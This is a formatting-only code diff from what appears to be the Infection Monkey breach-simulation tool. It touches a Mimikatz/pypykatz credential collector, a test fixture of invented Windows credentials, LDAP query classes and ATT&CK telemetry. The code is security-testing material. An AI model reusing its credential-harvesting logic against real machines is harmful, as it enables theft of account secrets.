|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def config_to_collectors_list() -> Sequence[SystemInfoCollector]:
|
def config_to_collectors_list() -> Sequence[SystemInfoCollector]:
|
||||||
|
|
|
@ -22,5 +22,5 @@ class MimikatzCredentialCollector(object):
|
||||||
# Lets not use "." and "$" in keys, because it will confuse mongo.
|
# Lets not use "." and "$" in keys, because it will confuse mongo.
|
||||||
# Ideally we should refactor island not to use a dict and simply parse credential list.
|
# Ideally we should refactor island not to use a dict and simply parse credential list.
|
||||||
key = cred.username.replace(".", ",").replace("$", "")
|
key = cred.username.replace(".", ",").replace("$", "")
|
||||||
cred_dict.update({key:cred.to_dict()})
|
cred_dict.update({key: cred.to_dict()})
|
||||||
return cred_dict
|
return cred_dict
|
||||||
|
|
|
@ -43,7 +43,7 @@ def _get_creds_from_pypykatz_session(pypykatz_session: Dict) -> List[WindowsCred
|
||||||
|
|
||||||
|
|
||||||
def _get_creds_from_pypykatz_creds(
|
def _get_creds_from_pypykatz_creds(
|
||||||
pypykatz_creds: List[PypykatzCredential],
|
pypykatz_creds: List[PypykatzCredential],
|
||||||
) -> List[WindowsCredentials]:
|
) -> List[WindowsCredentials]:
|
||||||
creds = _filter_empty_creds(pypykatz_creds)
|
creds = _filter_empty_creds(pypykatz_creds)
|
||||||
return [_get_windows_cred(cred) for cred in creds]
|
return [_get_windows_cred(cred) for cred in creds]
|
||||||
|
@ -72,7 +72,7 @@ def _get_windows_cred(pypykatz_cred: PypykatzCredential):
|
||||||
if "LMhash" in pypykatz_cred:
|
if "LMhash" in pypykatz_cred:
|
||||||
lm_hash = _hash_to_string(pypykatz_cred["LMhash"])
|
lm_hash = _hash_to_string(pypykatz_cred["LMhash"])
|
||||||
return WindowsCredentials(
|
return WindowsCredentials(
|
||||||
username=username, password=password, ntlm_hash=ntlm_hash, lm_hash=lm_hash
|
username=username, password=password, ntlm_hash=ntlm_hash, lm_hash=lm_hash
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -8,123 +8,119 @@ from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import
|
||||||
class TestPypykatzHandler(TestCase):
|
class TestPypykatzHandler(TestCase):
|
||||||
# Made up credentials, but structure of dict should be roughly the same
|
# Made up credentials, but structure of dict should be roughly the same
|
||||||
PYPYKATZ_SESSION = {
|
PYPYKATZ_SESSION = {
|
||||||
"authentication_id":555555,
|
"authentication_id": 555555,
|
||||||
"session_id":3,
|
"session_id": 3,
|
||||||
"username":"Monkey",
|
"username": "Monkey",
|
||||||
"domainname":"ReAlDoMaIn",
|
"domainname": "ReAlDoMaIn",
|
||||||
"logon_server":"ReAlDoMaIn",
|
"logon_server": "ReAlDoMaIn",
|
||||||
"logon_time":"2020-06-02T04:53:45.256562+00:00",
|
"logon_time": "2020-06-02T04:53:45.256562+00:00",
|
||||||
"sid":"S-1-6-25-260123139-3611579848-5589493929-3021",
|
"sid": "S-1-6-25-260123139-3611579848-5589493929-3021",
|
||||||
"luid":123086,
|
"luid": 123086,
|
||||||
"msv_creds":[
|
"msv_creds": [
|
||||||
{
|
{
|
||||||
"username":"monkey",
|
"username": "monkey",
|
||||||
"domainname":"ReAlDoMaIn",
|
"domainname": "ReAlDoMaIn",
|
||||||
"NThash":b"1\xb7<Y\xd7\xe0\xc0\x89\xc01\xd6\xcf\xe0\xd1j\xe9",
|
"NThash": b"1\xb7<Y\xd7\xe0\xc0\x89\xc01\xd6\xcf\xe0\xd1j\xe9",
|
||||||
"LMHash":None,
|
"LMHash": None,
|
||||||
"SHAHash":b"\x18\x90\xaf\xd8\x07\t\xda9\xa3\xee^kK\r2U\xbf\xef\x95`",
|
"SHAHash": b"\x18\x90\xaf\xd8\x07\t\xda9\xa3\xee^kK\r2U\xbf\xef\x95`",
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
"wdigest_creds":[
|
"wdigest_creds": [
|
||||||
{
|
{
|
||||||
"credtype":"wdigest",
|
"credtype": "wdigest",
|
||||||
"username":"monkey",
|
"username": "monkey",
|
||||||
"domainname":"ReAlDoMaIn",
|
"domainname": "ReAlDoMaIn",
|
||||||
"password":"canyoufindme",
|
"password": "canyoufindme",
|
||||||
"luid":123086,
|
"luid": 123086,
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
"ssp_creds":[
|
"ssp_creds": [
|
||||||
{
|
{
|
||||||
"credtype":"wdigest",
|
"credtype": "wdigest",
|
||||||
"username":"monkey123",
|
"username": "monkey123",
|
||||||
"domainname":"ReAlDoMaIn",
|
"domainname": "ReAlDoMaIn",
|
||||||
"password":"canyoufindme123",
|
"password": "canyoufindme123",
|
||||||
"luid":123086,
|
"luid": 123086,
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
"livessp_creds":[
|
"livessp_creds": [
|
||||||
{
|
{
|
||||||
"credtype":"wdigest",
|
"credtype": "wdigest",
|
||||||
"username":"monk3y",
|
"username": "monk3y",
|
||||||
"domainname":"ReAlDoMaIn",
|
"domainname": "ReAlDoMaIn",
|
||||||
"password":"canyoufindm3",
|
"password": "canyoufindm3",
|
||||||
"luid":123086,
|
"luid": 123086,
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
"dpapi_creds":[
|
"dpapi_creds": [
|
||||||
{
|
{
|
||||||
"credtype":"dpapi",
|
"credtype": "dpapi",
|
||||||
"key_guid":"9123-123ae123de4-121239-3123-421f",
|
"key_guid": "9123-123ae123de4-121239-3123-421f",
|
||||||
"masterkey":
|
"masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975e"
|
||||||
"6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975e"
|
"f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9",
|
||||||
"f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9",
|
"sha1_masterkey": "bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da",
|
||||||
"sha1_masterkey":"bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da",
|
"luid": 123086,
|
||||||
"luid":123086,
|
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"credtype":"dpapi",
|
"credtype": "dpapi",
|
||||||
"key_guid":"9123-123ae123de4-121239-3123-421f",
|
"key_guid": "9123-123ae123de4-121239-3123-421f",
|
||||||
"masterkey":
|
"masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975e"
|
||||||
"6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975e"
|
"f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9",
|
||||||
"f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9",
|
"sha1_masterkey": "bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da",
|
||||||
"sha1_masterkey":"bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da",
|
"luid": 123086,
|
||||||
"luid":123086,
|
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"credtype":"dpapi",
|
"credtype": "dpapi",
|
||||||
"key_guid":"9123-123ae123de4-121239-3123-421f",
|
"key_guid": "9123-123ae123de4-121239-3123-421f",
|
||||||
"masterkey":
|
"masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975e"
|
||||||
"6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975e"
|
"f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9",
|
||||||
"f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9",
|
"sha1_masterkey": "bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da",
|
||||||
"sha1_masterkey":"bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da",
|
"luid": 123086,
|
||||||
"luid":123086,
|
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"credtype":"dpapi",
|
"credtype": "dpapi",
|
||||||
"key_guid":"9123-123ae123de4-121239-3123-421f",
|
"key_guid": "9123-123ae123de4-121239-3123-421f",
|
||||||
"masterkey":
|
"masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975e"
|
||||||
"6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975e"
|
"f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9",
|
||||||
"f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9",
|
"sha1_masterkey": "bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da",
|
||||||
"sha1_masterkey":"bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da",
|
"luid": 123086,
|
||||||
"luid":123086,
|
|
||||||
},
|
},
|
||||||
{"credtype":"dpapi", "key_guid":"9123-123ae123de4-121239-3123-421f"},
|
{"credtype": "dpapi", "key_guid": "9123-123ae123de4-121239-3123-421f"},
|
||||||
],
|
],
|
||||||
"kerberos_creds":[
|
"kerberos_creds": [
|
||||||
{
|
{
|
||||||
"credtype":"kerberos",
|
"credtype": "kerberos",
|
||||||
"username":"monkey_kerb",
|
"username": "monkey_kerb",
|
||||||
"password":None,
|
"password": None,
|
||||||
"domainname":"ReAlDoMaIn",
|
"domainname": "ReAlDoMaIn",
|
||||||
"luid":123086,
|
"luid": 123086,
|
||||||
"tickets":[],
|
"tickets": [],
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
"credman_creds":[
|
"credman_creds": [
|
||||||
{
|
{
|
||||||
"credtype":"credman",
|
"credtype": "credman",
|
||||||
"username":"monkey",
|
"username": "monkey",
|
||||||
"domainname":"monkey.ad.monkey.com",
|
"domainname": "monkey.ad.monkey.com",
|
||||||
"password":"canyoufindme2",
|
"password": "canyoufindme2",
|
||||||
"luid":123086,
|
"luid": 123086,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"credtype":"credman",
|
"credtype": "credman",
|
||||||
"username":"monkey@monkey.com",
|
"username": "monkey@monkey.com",
|
||||||
"domainname":"moneky.monkey.com",
|
"domainname": "moneky.monkey.com",
|
||||||
"password":"canyoufindme1",
|
"password": "canyoufindme1",
|
||||||
"luid":123086,
|
"luid": 123086,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"credtype":"credman",
|
"credtype": "credman",
|
||||||
"username":"test",
|
"username": "test",
|
||||||
"domainname":"test.test.ts",
|
"domainname": "test.test.ts",
|
||||||
"password":"canyoufindit",
|
"password": "canyoufindit",
|
||||||
"luid":123086,
|
"luid": 123086,
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
"tspkg_creds":[],
|
"tspkg_creds": [],
|
||||||
}
|
}
|
||||||
|
|
||||||
def test__get_creds_from_pypykatz_session(self):
|
def test__get_creds_from_pypykatz_session(self):
|
||||||
|
@ -132,27 +128,27 @@ class TestPypykatzHandler(TestCase):
|
||||||
|
|
||||||
test_dicts = [
|
test_dicts = [
|
||||||
{
|
{
|
||||||
"username":"monkey",
|
"username": "monkey",
|
||||||
"ntlm_hash":"31b73c59d7e0c089c031d6cfe0d16ae9",
|
"ntlm_hash": "31b73c59d7e0c089c031d6cfe0d16ae9",
|
||||||
"password":"",
|
"password": "",
|
||||||
"lm_hash":"",
|
"lm_hash": "",
|
||||||
},
|
},
|
||||||
{"username":"monkey", "ntlm_hash":"", "password":"canyoufindme", "lm_hash":""},
|
{"username": "monkey", "ntlm_hash": "", "password": "canyoufindme", "lm_hash": ""},
|
||||||
{
|
{
|
||||||
"username":"monkey123",
|
"username": "monkey123",
|
||||||
"ntlm_hash":"",
|
"ntlm_hash": "",
|
||||||
"password":"canyoufindme123",
|
"password": "canyoufindme123",
|
||||||
"lm_hash":"",
|
"lm_hash": "",
|
||||||
},
|
},
|
||||||
{"username":"monk3y", "ntlm_hash":"", "password":"canyoufindm3", "lm_hash":""},
|
{"username": "monk3y", "ntlm_hash": "", "password": "canyoufindm3", "lm_hash": ""},
|
||||||
{"username":"monkey", "ntlm_hash":"", "password":"canyoufindme2", "lm_hash":""},
|
{"username": "monkey", "ntlm_hash": "", "password": "canyoufindme2", "lm_hash": ""},
|
||||||
{
|
{
|
||||||
"username":"monkey@monkey.com",
|
"username": "monkey@monkey.com",
|
||||||
"ntlm_hash":"",
|
"ntlm_hash": "",
|
||||||
"password":"canyoufindme1",
|
"password": "canyoufindme1",
|
||||||
"lm_hash":"",
|
"lm_hash": "",
|
||||||
},
|
},
|
||||||
{"username":"test", "ntlm_hash":"", "password":"canyoufindit", "lm_hash":""},
|
{"username": "test", "ntlm_hash": "", "password": "canyoufindit", "lm_hash": ""},
|
||||||
]
|
]
|
||||||
results = [result.to_dict() for result in results]
|
results = [result.to_dict() for result in results]
|
||||||
[self.assertTrue(test_dict in results) for test_dict in test_dicts]
|
[self.assertTrue(test_dict in results) for test_dict in test_dicts]
|
||||||
|
|
|
@ -10,8 +10,8 @@ class WindowsCredentials:
|
||||||
|
|
||||||
def to_dict(self) -> Dict:
|
def to_dict(self) -> Dict:
|
||||||
return {
|
return {
|
||||||
"username":self.username,
|
"username": self.username,
|
||||||
"password":self.password,
|
"password": self.password,
|
||||||
"ntlm_hash":self.ntlm_hash,
|
"ntlm_hash": self.ntlm_hash,
|
||||||
"lm_hash":self.lm_hash,
|
"lm_hash": self.lm_hash,
|
||||||
}
|
}
|
||||||
|
|
|
@ -17,7 +17,7 @@ WMI_CLASSES = {
|
||||||
# monkey should run as *** SYSTEM *** !!!
|
# monkey should run as *** SYSTEM *** !!!
|
||||||
#
|
#
|
||||||
WMI_LDAP_CLASSES = {
|
WMI_LDAP_CLASSES = {
|
||||||
"ds_user":(
|
"ds_user": (
|
||||||
"DS_sAMAccountName",
|
"DS_sAMAccountName",
|
||||||
"DS_userPrincipalName",
|
"DS_userPrincipalName",
|
||||||
"DS_sAMAccountType",
|
"DS_sAMAccountType",
|
||||||
|
@ -36,7 +36,7 @@ WMI_LDAP_CLASSES = {
|
||||||
"DS_logonCount",
|
"DS_logonCount",
|
||||||
"DS_accountExpires",
|
"DS_accountExpires",
|
||||||
),
|
),
|
||||||
"ds_group":(
|
"ds_group": (
|
||||||
"DS_whenChanged",
|
"DS_whenChanged",
|
||||||
"DS_whenCreated",
|
"DS_whenCreated",
|
||||||
"DS_sAMAccountName",
|
"DS_sAMAccountName",
|
||||||
|
@ -52,7 +52,7 @@ WMI_LDAP_CLASSES = {
|
||||||
"DS_distinguishedName",
|
"DS_distinguishedName",
|
||||||
"ADSIPath",
|
"ADSIPath",
|
||||||
),
|
),
|
||||||
"ds_computer":(
|
"ds_computer": (
|
||||||
"DS_dNSHostName",
|
"DS_dNSHostName",
|
||||||
"ADSIPath",
|
"ADSIPath",
|
||||||
"DS_accountExpires",
|
"DS_accountExpires",
|
||||||
|
|
|
@ -38,14 +38,13 @@ class WindowsSystemSingleton(_SystemSingleton):
|
||||||
assert self._mutex_handle is None, "Singleton already locked"
|
assert self._mutex_handle is None, "Singleton already locked"
|
||||||
|
|
||||||
handle = ctypes.windll.kernel32.CreateMutexA(
|
handle = ctypes.windll.kernel32.CreateMutexA(
|
||||||
None, ctypes.c_bool(True), ctypes.c_char_p(self._mutex_name.encode())
|
None, ctypes.c_bool(True), ctypes.c_char_p(self._mutex_name.encode())
|
||||||
)
|
)
|
||||||
last_error = ctypes.windll.kernel32.GetLastError()
|
last_error = ctypes.windll.kernel32.GetLastError()
|
||||||
|
|
||||||
if not handle:
|
if not handle:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Cannot acquire system singleton %r, unknown error %d", self._mutex_name,
|
"Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error
|
||||||
last_error
|
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
if winerror.ERROR_ALREADY_EXISTS == last_error:
|
if winerror.ERROR_ALREADY_EXISTS == last_error:
|
||||||
|
@ -81,10 +80,10 @@ class LinuxSystemSingleton(_SystemSingleton):
|
||||||
sock.bind("\0" + self._unix_sock_name)
|
sock.bind("\0" + self._unix_sock_name)
|
||||||
except socket.error as e:
|
except socket.error as e:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Cannot acquire system singleton %r, error code %d, error: %s",
|
"Cannot acquire system singleton %r, error code %d, error: %s",
|
||||||
self._unix_sock_name,
|
self._unix_sock_name,
|
||||||
e.args[0],
|
e.args[0],
|
||||||
e.args[1],
|
e.args[1],
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
|
@ -18,4 +18,4 @@ class AttackTelem(BaseTelem):
|
||||||
telem_category = TelemCategoryEnum.ATTACK
|
telem_category = TelemCategoryEnum.ATTACK
|
||||||
|
|
||||||
def get_data(self):
|
def get_data(self):
|
||||||
return {"status":self.status.value, "technique":self.technique}
|
return {"status": self.status.value, "technique": self.technique}
|
||||||
|
|
|
@ -15,5 +15,5 @@ class T1005Telem(AttackTelem):
|
||||||
|
|
||||||
def get_data(self):
|
def get_data(self):
|
||||||
data = super(T1005Telem, self).get_data()
|
data = super(T1005Telem, self).get_data()
|
||||||
data.update({"gathered_data_type":self.gathered_data_type, "info":self.info})
|
data.update({"gathered_data_type": self.gathered_data_type, "info": self.info})
|
||||||
return data
|
return data
|
||||||
|
|
|
@ -15,5 +15,5 @@ class T1064Telem(AttackTelem):
|
||||||
|
|
||||||
def get_data(self):
|
def get_data(self):
|
||||||
data = super(T1064Telem, self).get_data()
|
data = super(T1064Telem, self).get_data()
|
||||||
data.update({"usage":self.usage})
|
data.update({"usage": self.usage})
|
||||||
return data
|
return data
|
||||||
|
|
|
@ -17,5 +17,5 @@ class T1105Telem(AttackTelem):
|
||||||
|
|
||||||
def get_data(self):
|
def get_data(self):
|
||||||
data = super(T1105Telem, self).get_data()
|
data = super(T1105Telem, self).get_data()
|
||||||
data.update({"filename":self.filename, "src":self.src, "dst":self.dst})
|
data.update({"filename": self.filename, "src": self.src, "dst": self.dst})
|
||||||
return data
|
return data
|
||||||
|
|
|
@ -13,5 +13,5 @@ class T1107Telem(AttackTelem):
|
||||||
|
|
||||||
def get_data(self):
|
def get_data(self):
|
||||||
data = super(T1107Telem, self).get_data()
|
data = super(T1107Telem, self).get_data()
|
||||||
data.update({"path":self.path})
|
data.update({"path": self.path})
|
||||||
return data
|
return data
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue